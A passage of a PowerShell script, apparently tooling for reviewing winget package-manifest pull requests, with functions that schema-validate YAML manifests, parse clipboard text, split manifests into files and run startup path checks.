$Enum.ManifestLocaleProperties - } - $Enum.ManifestFileTypeNames.defaultLocale { - $Enum.ManifestDefaultLocaleProperties - } - $Enum.ManifestFileTypeNames.Installer { - $Enum.ManifestInstallerProperties - } - $Enum.ManifestFileTypeNames.Version { - $Enum.ManifestVersionProperties - } - $Enum.ManifestFileTypeNames.Root { - $Enum.ManifestVersionProperties - $FileType = $Enum.ManifestFileTypeNames.Version - #This is hacky but I'm too tired to make it not hacky. - } - } - if ($Display2) {Write-Host "PropertiesToUse: $PropertiesToUse"} -#Foreach string, if it matches the built string, then the schema validation for that section starts. Every subsequent string gets tried agasint that file type's schema. - if ($FileType) { - Foreach ($String in $StrArray) { - if ($Display) {Write-Host "String: $String"} - if ($Display2) {Write-Host "S: $s - Filename: $Filename - String $String"} - #First, match against enum'd string indentation, and put that in a var - foreach ($Indentation in (Get-Keys $enum.IndentationStylesReverse)) { - if ($Display) {Write-Host "Indentation $($enum.IndentationStylesReverse.($Indentation))"} - if ($String -match ("^"+$Indentation+"[a-zA-Z]")) { - if ($Display) {Write-Host "Found Indentation $($enum.IndentationStylesReverse.($Indentation))"} - $out += $Indentation - $String = $String -replace $Indentation,"" - }; #end if String - }; #end foreach Indentation - #Then, use the matched key type to build the key part. Then match against that key part, and also store that in a var. - if ($String -match "[:] |-") { - $String = $string -replace "[:] [|][-]",":-" #Need to hide the space between the colon and the pipe, so it skips the first option below but hits the second. - } - if ($String -match "[:] ") { - if ($Display) {Write-Host "Yaml detected"} - foreach ($Property in (Get-Values $PropertiesToUse)) { - if ($Display2) {Write-Host -nonewline "Property $Property - "} - $PropertyColon = $Property + ": " - $SplitString = $String -split ": " - if ($SplitString[0] -eq $Property) { - if ($Display) {Write-Host "Found Property $Property"} - $ListKey = "" - $out += $PropertyColon - $String = $SplitString[1]# -replace $PropertyColon,"" - $SchemaToUse = Get-SchemaFinder -File $FileType -Property $Property - if ($Display) {Write-Host "SchemaToUse $($SchemaToUse.description)"} - $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $SchemaToUse - if ($Display) {Write-Host "Found String $String"} - $out += $SchemaCheck - }; #end if String - }; #end foreach Property - } elseif ($String -match "[:]") { - #If you are here, then you're a list header. - if ($Display) {Write-Host "Yaml List detected"} - foreach ($Property in (Get-Values $PropertiesToUse)) { - if ($Display2) {Write-Host -nonewline "Property $Property - "} - $PropertyColon = $Property + ":" - $SplitString = $String -split ":" - if ($SplitString[0] -eq $Property) { - $ListKey = $Property - if ($Display) {Write-Host "Found ListKey $Property"} - if ($SplitString[1] -match "-") { - $PropertyColon = $PropertyColon + " |-" - } - $out += $PropertyColon - }; #end if String - }; #end foreach Property - } elseif ($String -ne "") { - #If you are here, then you're a list item. - if ($ListKey -ne "") { - # $ListKey = $ListKey -replace "s$","" -replace "ie$","y" - $ItemKey = $ListKey + "_items" - if ($Display) {Write-Host "Yaml List Item $ItemKey detected"} - $SchemaToUse = Get-SchemaFinder -File $FileType -Property $ItemKey - if ($Display) {Write-Host "SchemaToUse $($SchemaToUse.description)"} - $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $SchemaToUse - if ($Display) {Write-Host "Found Data $SchemaCheck"} - $out += $SchemaCheck - }; #end if String - }; #end if String - if ($Display2) {Write-Host " S: $s - Filename: $Filename - FileType $FileType - String $String"} - $out = ($out + "`n") -replace "`n`n","`n" - }; #end for StrArray - $out = "# Deterministic Automation build $build - auto-regenerated $FileType header.`n`n" + $out - if ($NoRun) { - Return $out - } else { - Get-ManifestFile -InstallerFile ($out -split "`n") - } - } -<# iterations -1. Remove hidden characters -2. Above plus schema validation. -3. Above plus further isolation. -4. Regenerate files with enumeration. -5. Separate into string array. -6. Schema validate with SchemaCheck everywhere -7. Regenerate with enumeration where possible, regenrate with schema validation for the rest. -8. Find Schema with SchemaFinder -9. Pull schema values round-robin from string array. -10. Slice up manifest, ManifestFile -11. Single run through manifest -12. Slicee up manifest then run through, then ManifestFile -#> -} - -Function Get-UpdateGHPAT { - [CredManager.Util]::SetUserCredential("GitHubToken", "Gilgamech",(Get-Clipboard)) -} - -#Needs -#Readd try/catch fastfail lines - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################ - Clipboard - ############################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Function Get-CleanClipboard { - Param( - [String[]]$StrArray = $null, - [switch]$Debug - ); #end Param - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CleanClipboard $($StrArray.length)"}; - $StrArrayMaxLength = 2048 - - if ($null -ne $StrArray) { - if ($debug) {Write-Host "StrArray detected in Parameters"}; - if ($StrArray.length -gt $StrArrayMaxLength) {if ($debug) {Write-Host "Init StrArray Length FastFail $($StrArray.length)"};Return $Null} - } else { - try { - if ($debug) {Write-Host "Get StrArray from Clipboard"}; - [string[]]$StrArray = ((Get-Clipboard) -replace $Enum.Regex.CleanClipRegex,$null) - if ($StrArray.length -gt $StrArrayMaxLength) {if ($debug) {Write-Host "Init StrArray Length FastFail $($StrArray.length)"};Return $Null} - } catch { - if ($debug) {Write-Host "Clipboard FastFail"}; - Return $Null - } - } - Return $StrArray -}; #end Get-CleanClipboard - -Function Get-QueryClipboard { - Param( - [ValidateScript( { $_ -in ((Get-Keys $Enum.ClipboardQueries) -OR (Get-Keys $Enum.ManifestFileTypeNames)) } )] - [string]$Query, - [string]$MatchData, #This should only ever be a YAML or JSON key type of string. - [String[]]$StrArray = $null, - [switch]$Display - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-QueryClipboard $Query"}; - -#Get-QueryClipboard -Query $Enum.ClipboardQueries.PRWatch -StrArray ((Get-PRManifest -pr $PR) -split "`n") -Debug - - # try { - $StringMaxLength = 2048 - $StrArrayMaxLength = 2048 - $StringRegex = "[a-zA-Z]{0,256}"#Need to add a few more chars. - $Mandatory = @{} - [string[]]$keys = $null - $StrArray = Get-CleanClipboard $StrArray - - Switch ($Query) { - $Enum.ClipboardQueries.AllPRsOnClipboard { - [int[]]$out = @() - Foreach ($String in $StrArray) { - #Replace with a String schema. - if ($String.length -gt $StringMaxLength) {if ($Display) {Write-Host "$Query String Length FastFail $($String.length)"};Return $Null} - If ($String -notmatch $StringRegex) {if ($Display) {Write-Host "$Query String Regex FastFail"};Return $Null} - - if ($Display) {Write-Host "$Query String $String"}; - [string[]]$SplitString = $String -replace "#"," " -split $Enum.Char.Space - Foreach ($SubString in $SplitString) { - if (($SubString -match ($MVschemaData.PR.Number.pattern -replace "/","\/"))) { - if ($Display) {Write-Host "$Query SubString $SubString"}; - $SchemaCheck = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $SubString) - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query Schema Tombstone FastFail"};Return $Null} - [int]$mid = $SchemaCheck - if (($mid -gt 9999) -AND ($mid -lt 1000000)) { - if ($Display) {Write-Host "$Query mid $mid out $out"}; - $out += $mid - }# end if mid - }# end if SubString - }#end Foreach SubString - }# end Foreach String - $out = $out | Select-Object -Unique - if ($Display) {Write-Host "$Query out $out"}; - } - $Enum.ClipboardQueries.PRWatch { - $out = "" | Select-Object $Enum.SchemaKeysEtc.ManifestReview, $Enum.ManifestKeys.InstallerType, $Enum.ManifestKeys.PackageVersion, $Enum.ManifestKeys.PackageIdentifier, $Enum.ManifestKeys.AgreementUrl, $Enum.Strings.WordFilterList, $Enum.ManifestKeys.DisplayVersion ,$Enum.ManifestKeys.InstallerUrl - $keys = Get-Keys $out - - - foreach ($String in $StrArray) { - if ($String.length -gt $StringMaxLength) {if ($Display) {Write-Host "$Query String Length FastFail $($String.length)"};Return $Null} - # If ($String -notmatch $StringRegex) {if ($Display) {Write-Host "$Query String Regex FastFail"};Return $Null} - $out.ManifestReview = (Get-ManifestCovertReview $String) - $String = $String | Get-RemoveQuotes - if ($Display) {Write-Host "$Query String: $String"} - - - $Item = $Enum.ManifestKeys.DisplayVersion - $ThisItemschemaData = $schemaData.installer.definitions.AppsAndFeaturesEntry.Properties.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.ManifestKeys.InstallerType - $ThisItemschemaData = $schemaData.installer.definitions.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.ManifestKeys.PackageVersion - $ThisItemschemaData = $schemaData.installer.definitions.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.ManifestKeys.PackageIdentifier - $ThisItemschemaData = $schemaData.installer.definitions.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.ManifestKeys.AgreementUrl - $ThisItemschemaData = $schemaData.locale.definitions.Url - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.Strings.WordFilterList - $ThisItemschemaData = $MVschemaData.General.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [bool]$out.($Item) = $SchemaCheck - - #Optional for my system, mandatory for overall system. - $Item = $Enum.ManifestKeys.InstallerUrl - $ThisItemschemaData = $schemaData.installer.definitions.Installer.Properties.($Item) - [bool]$Mandatory.($Item) = $False - # if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - }# end foreach String - } - $Enum.ClipboardQueries.TrackerVMRunTracker { - $out = "" | Select-Object $enum.SchemaKeysEtc.SkipToContent, $enum.SchemaKeysEtc.manifests - $keys = Get-Keys $out - - foreach ($String in $StrArray) { - [string]$string = $string - - $Item = $Enum.SchemaKeysEtc.SkipToContent - If (!$out.($Item)) { - $ThisItemschemaData = $MVschemaData.General.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($Display) {Write-Host "$Query $Item Schema"} - $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [bool]$out.($Item) = $SchemaCheck - } - - $Item = $Enum.SchemaKeysEtc.manifests - $ThisItemschemaData = $MVschemaData.General.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($Display) {Write-Host "$Query $Item Schema"} - $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - } - } - $Enum.ClipboardQueries.TrackerVMValidate { - $null = (Get-ManifestCovertReview $StrArray) - $out = "" | Select-Object $Enum.SchemaKeysEtc.PRNumber, $Enum.ManifestKeys.PackageIdentifier, $Enum.ManifestKeys.PackageVersion, $Enum.ManifestInstallerProperties.Architecture, $Enum.ManifestKeys.ElevationRequirement - $keys = Get-Keys $out - - $Item = $Enum.SchemaKeysEtc.PRNumber - $ThisItemschemaData = $MVschemaData.PR.Number - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($StrArray) { - $SchemaCheck = Get-QueryClipboard -Query AllPRsOnClipboard -StrArray $StrArray - if ($SchemaCheck) { - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - if ($SchemaCheck.gettype().name -eq "int[]") { - [int]$out.($Item) = $SchemaCheck[0] - } else { - [int]$out.($Item) = $SchemaCheck - if ($Display) {Write-Host "$Query $Item SchemaCheck Type $($SchemaCheck.gettype().name)"} - }# end if StrArray - } - }# end if StrArray - foreach ($String in $StrArray) { - $Item = $Enum.ManifestKeys.PackageIdentifier - $ThisItemschemaData = $schemaData.installer.definitions.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.ManifestKeys.PackageVersion - $ThisItemschemaData = $schemaData.installer.definitions.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.ManifestInstallerProperties.Architecture - $ThisItemschemaData = $schemaData.installer.definitions.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - if ($String -match ($Item + ":")) { - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [string[]]$out.($Item) = $SchemaCheck - }# end if String - - $Item = $Enum.ManifestKeys.ElevationRequirement - $ThisItemschemaData = $schemaData.installer.definitions.($Item) - [bool]$Mandatory.($Item) = $True - if ($ThisItemschemaData.type -contains $Enum.SchemaKeysEtc.Null) {$Mandatory.($Item) = $False} - $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $ThisItemschemaData - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($Display) {Write-Host "$Query $Item Schema Tombstone FastFail"};Return $Null} - if ($Display) {Write-Host "$Query $Item Schema Pass $SchemaCheck"} - [bool]$out.($Item) = $SchemaCheck - - } - } - Default { - if ($Display) {Write-Host "Default FastFail"};Return $Null - }# end Default - }# end Switch Type - if ($Query -ne $Enum.ClipboardQueries.AllPRsOnClipboard) { - foreach ($Key in $Keys) { - if ($True -eq $Mandatory.$Key) {#If Mandatory - if ($null -match $out.$Key) {#If not found - if ($Display) {Write-Host "Get-QueryClipboard Keys $key - Key Mandatory $($Mandatory.($Key)) - Key Detected $([bool]$out.($Key))" -f red} - Return $Null - } else {#If found - if ($Display) {Write-Host "Get-QueryClipboard Keys $key - Key Mandatory $($Mandatory.($Key)) - Key Detected $([bool]$out.($Key))"} - } - } else {#If Optional - if ($Display) {Write-Host "Get-QueryClipboard Keys $key - Key Mandatory $($Mandatory.($Key)) - Key Detected $([bool]$out.($Key))"} - } - } - } - Return $out - # } catch { - # if ($Display) {Write-Host "Query Error FastFail: $($Error[0])"}; - # # Return $Enum.Strings.FastFailTombstone - # } -} - -Function Get-ManifestSplitter {#The ol' manifest splitter - Param( - [Parameter(Mandatory)][string]$PackageIdentifier, - [Parameter(Mandatory)][string]$PackageVersion, - [String[]]$StrArray = $null, - [switch]$OutputToVariable, - [switch]$NoRun, - [switch]$Display - ); #end Param - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestSplitter $PackageIdentifier"}; - # $StrArray = Get-CleanClipboard $StrArray - $StrArray = (Get-CleanClipboard $StrArray) -split "`n" - $out = @{} - [string]$Filename = "" - [string]$FileType = "" - #Match the PackageIdentifier and PackageVersion, then get extensions from enum - [string[]]$Extensions = $Enum.ManifestFileExtension.Locale , $Enum.ManifestFileExtension.Installer , $Enum.ManifestFileExtension.Root - $FileString = "^"+$Enum.Strings.manifests - for ($s = 1 ; $s -le $StrArray.length ; $s++) { - # if ($Display) {Write-Host "S: $s - Filename: $Filename - String $String"} - $String = $StrArray[$s] | where {$_ -notmatch "^[+]"} -#Foreach string, if it matches the built string, then the schema validation for that section starts. Every subsequent string gets tried agasint that file type's schema. - if ($String -match "yaml") { - if ($Display) {Write-Host "Get-ManifestSplitter yaml String: $String"} - foreach ($Extension in $Extensions) { - $FileString = $PackageVersion + "/" + $PackageIdentifier + $Extension - if (($String -match $Extension) -AND ($String -match $FileString)) { - [string]$CurrentExtension = ($String -split $Extension)[1] - $FileType = $Enum.ManifestFileTypesReverse.($Extension -replace "[.]","") - if ($Extension -match $Enum.ManifestFileTypes.Locale) { - if ($Display) {Write-Host "Get-ManifestSplitter Locale CurrentExtension $CurrentExtension"} - [string]$CheckValue = $CurrentExtension -replace $Enum.ManifestFileExtension.Root,"" -replace "[.]","" -replace " ","" - $CheckValue = $CheckValue.trim() - #Need to validate this - #Need to validate this - #Need to validate this - $co = [System.Text.Encoding]::UTF8.GetBytes($CheckValue) - if ($Display) {Write-Host "CheckValue: $CheckValue $($CheckValue.length) $($CheckValue -match 'en-US ') $co"} - # $SchemaCheck = $CheckValue - # $SchemaCheck = Get-SchemaCheck -InputData $CheckValue -SchemaInfo (Get-SchemaFinder -File $FileType -Property $Enum.ManifestDefaultLocaleProperties.PackageLocale) - if ($Display) {Write-Host "Get-ManifestSplitter SchemaCheck: $SchemaCheck"} - #Need to validate this - #Need to validate this - #Need to validate this - if you're reading this, then I haven't validated it. Please stop me and tell me. - $SchemaCheck = $Enum.ManifestFileExtension.Locale + "." + $SchemaCheck + $Enum.ManifestFileExtension.Root - } else { - $SchemaCheck = $Extension + $CurrentExtension - } - # $Filename = "Package" + $SchemaCheck - $Filename = $SchemaCheck - if ($Display) {Write-Host "Get-ManifestSplitter Found String: $String - Extension: $Extension - CurrentExtension: $CurrentExtension - FileString: $FileString"} - }; #end if String - }; #end foreach Extension - }; #end if String - $SchemaCheck = $String - $out.($FileType) += $SchemaCheck + "`n" - }; #end for StrArray - $out.remove(""); - if ($OutputToVariable) { - Return $out - } else { - # [string[]]$vals = $out.values - if ($NoRun) { - $vals | %{Get-ManifestValidation $_ -NoRun} - } else { - $vals | %{Get-ManifestValidation $_} - } - } -} - -Function Get-YamlValue { - Param( - [string]$Key, - [Parameter(ValueFromPipeline)][string[]]$InputArray, - [switch]$JSON, - [switch]$Display - ) - Process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-YamlValue $Key"}; - if ($JSON) { - $Key = "`"$($Key)`": " - } else { - $Key = "$($Key): " - } - # $InputArray = $InputArray -split $Enum.Char.LineBreak | where {$_ -match $Key} - $InputArray = $InputArray | where {$_ -match $Key} - if ($Display) {Write-Host "Get-YamlValue (A): $InputArray"} - if ($InputArray) { - [string[]]$InputArray = $InputArray | Select-Object -unique - if ($Display) {Write-Host "Get-YamlValue (B): $InputArray"} - [string[]]$InputArray = $InputArray[$Enum.Index.First] - if ($Display) {Write-Host "Get-YamlValue (C): $InputArray"} - [string]$String = ($InputArray -split ($Enum.Char.Colon + $Enum.Char.Space))[$Enum.Index.Second] - # [$Enum.Index.Second..99] - if ($Display) {Write-Host "Get-YamlValue (D): $String"} - $String = ($String -split $Enum.Char.Hash)[$Enum.Index.First] - if ($Display) {Write-Host "Get-YamlValue (E): $String"} - $String = ((($String.ToCharArray()) | where {$_ -match "\S"}) -join $Enum.Char.Blank) - if ($Display) {Write-Host "Get-YamlValue (F): $String"} - } - $String - } -} - -Function Get-AllPRsOnClipboard { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AllPRsOnClipboard $PR"}; - return Get-QueryClipboard -Query $Enum.ClipboardQueries.AllPRsOnClipboard -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################ - Et Cetera - ############################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Function Open-PRInBrowser { - Param( - [int]$PR, - [Switch]$Files - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRInBrowser $PR"}; - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - $URL = "$GitHubBaseUrl/pull/$PR#issue-comment-box" - if ($Files) { - $URL = "$GitHubBaseUrl/pull/$PR/files" - } - Start-Process $URL - Start-Sleep $GitHubRateLimitDelay -}#end Function - -Function Test-Admin { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Test-Admin"}; - $UserGroups = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups - if (![bool]($UserGroups -match $Enum.TestAdmin.AdminString)){ - Write-Host $Enum.TestAdmin.TryElevatingYourSession; - Break - } -} - -Function Get-TrackerProgress { - Param( - [string]$Activity, - [string]$ItemName, - [int]$ItemNumber, - [int]$TotalItems, - $Percent = [math]::round($ItemNumber / $TotalItems*100,$Enum.Num.Two) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerProgress $Activity"}; - Write-Progress -Activity $Activity -Status "$ItemNumber / $TotalItems = $Percent % - $ItemName" -PercentComplete $Percent -} - -Function Get-ArraySum { - Param( - $in = $Enum.Num.Zero, - $out = $Enum.Num.Zero - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ArraySum $in $out"}; - $in |ForEach-Object{$out += $_* $Enum.Num.One} - [math]::Round($out,$Enum.Num.Two) -} - -Function Get-StringOrArrayLast { - Param( - $StringOrArray, - $ArrayIndex = $Enum.Index.Last - ) - if ($null -ne $StringOrArray) { - if ($StringOrArray.GetType().name -eq $Enum.PSDataTypes.String) { - Return $StringOrArray - } else { - Return $StringOrArray[$ArrayIndex] - } - } else { - Write-Host "$($MyInvocation.MyCommand.name): StringOrArray $StringOrArray not found (length $($StringOrArray.Length)" - } -} - -Function Get-Diff { - Param( - $Left, - $Right, - [ValidateScript( { $_ -in (Get-Keys $Enum.DiffData)} )][string]$Side = $Enum.DiffData.Left - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Diff $($Left.count) $($Right.count)"}; - $matchSide = $Enum.Char.Blank - switch ($Side) { - $Enum.DiffData.Left { - $matchSide = $Enum.DiffData.LeftSide - } - $Enum.DiffData.Right { - $matchSide = $Enum.DiffData.RightSide - } - default { - Write-Host "Error: Side $Side is neither Left nor RIght!" - Break - } - } - $mid = Compare-Object $Left $Right | where {$_.SideIndicator -match $matchSide} - $out = $mid.inputobject - return $out -} - -Function Get-RemoveQuotes { - Param( - [Parameter(ValueFromPipeline)][string]$String - ) - Process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RemoveQuotes $String"}; - $String -replace $Enum.Char.DoubleQuote,$Enum.Char.Blank-replace $Enum.Char.SingleQuote,$Enum.Char.Blank - } -} - -Function Get-Keys { - Param( - $Data - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Keys"}; - if ($Data) { - [string[]]$Names = ($Data | Get-Member | Where-Object {$_.membertype -eq $Enum.Words.NoteProperty}).name - Return $Names - } -} - -Function Get-Values { - Param( - $Data - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Values"}; - $Names = Get-Keys $Data - $Values = $Names | %{$Data.($_)} - Return $Values -} - -Function Get-PadRight { - Param( - [string]$InputString, - [int]$PadChars = 45 - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PadRight $PadChars"}; - $out = $InputString - if ($InputString.Length -lt $PadChars) { - $out = $InputString + ($Enum.Char.Space*($PadChars - $InputString.Length -1)) - } elseif ($InputString.Length -lt $PadChars) { - $out = $InputString[$Enum.Index.First..($PadChars -1)] - } - $out = $out -join $Enum.Char.Blank - $out -} - -#Self-Testing -Function Get-StartupTest { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-StartupTest"}; -Write-Host -nonewline "Loading Startup path tests - " -$StartupTestPaths = "Path,Name -$DataFileName,DataFileName -$JsonFileName,JsonFileName -$ExitCodeFile,ExitCodeFile -$AutowaiverFile,AutowaiverFile -$PRStateDataFile,PRStateDataFile -$MMCExceptionListFile,MMCExceptionListFile -$ReviewFile,ReviewFile -$SharedErrorFile,SharedErrorFile -$StatusFile,StatusFile -$SharedFolder,SharedFolder -$MainFolder,MainFolder -$imagesFolder,imagesFolder -$logsFolder,logsFolder -$MiscFolder,MiscFolder -$writeFolder,writeFolder -$VMCounter,vmCounter -$VMversion,VMversion -$RemoteTrackerModeFile,RemoteTrackerModeFile -$TrackerModeFile,TrackerModeFile -$LogFile,LogFile -$PRQueueFile,PRQueueFile -$PRExcludeFile,PRExcludeFile -$repoCountfile,repoCountfile -$CovertReviewFile,CovertReviewFile -$ApprovalStatsFile,ApprovalStatsFile -" | convertfrom-csv -# $Win10Folder,Win10Folder -# $Win11Folder,Win11Folder - -Write-Host -nonewline "Loading Manifest tests - " - -[string[]]$TestingManifest = gc "C:\ManVal\OtherMisc\TestingPR.yaml" - -#TrackerVMValidate 